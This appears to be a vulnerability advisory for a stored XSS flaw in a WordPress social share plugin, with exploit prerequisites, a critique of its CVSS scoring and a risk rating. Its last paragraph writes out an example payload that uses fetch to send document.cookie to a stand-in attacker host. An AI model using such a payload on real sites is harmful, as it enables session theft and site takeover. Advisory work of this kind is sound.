Social Media Share Buttons CVE-2026-19719

Requires a WordPress user account with at minimum the Contributor role - Contributors can create posts but typically require editorial approval before publication, meaning a site editor or admin must approve the malicious post before exploitation becomes possible. Additionally, the Social Media Share Buttons & Social Sharing Icons plugin must be configured to use a non-default icon display mode; the default configuration does not reach the vulnerable rendering path. Finally, a victim (site visitor or admin) must actively interact with (click) the affected share button to trigger payload execution. Limiting factors: contributor-created posts must pass editorial review; non-default plugin configuration is required; and victim interaction is mandatory - autonomous server-side exploitation is not possible.

The vendor-assigned CVSS score of 6.8 uses PR:H (high privilege), but the description explicitly states exploitation requires only the Contributor role - a low-privilege WordPress role (PR:L). This is likely a scoring error that understates the attack accessibility; with PR:L and S:C the effective exploitability would be materially higher than 6.8 suggests. No EPSS data was provided, and the vulnerability is not listed in CISA KEV, indicating no confirmed mass exploitation. The WPScan-published proof-of-concept is a meaningful escalation signal. The non-default configuration prerequisite meaningfully reduces the exposed population, but WordPress sites using social sharing plugins with custom display modes are not uncommon. Overall: moderate-to-elevated real-world risk for affected sites - the CVSS score understates the threat due to the apparent PR:H miscategorization.

A malicious contributor-role WordPress user submits a post with a title containing a JavaScript payload such as ';fetch('https://attacker.example/steal?c='+document.cookie);//. Once the post is approved and published, any site visitor who clicks the associated social share button triggers the inline event handler, silently exfiltrating their session cookie. If an administrator visits the page, the payload can be used to hijack their privileged session and achieve full site takeover. A public proof-of-concept demonstrating this technique is available via WPScan.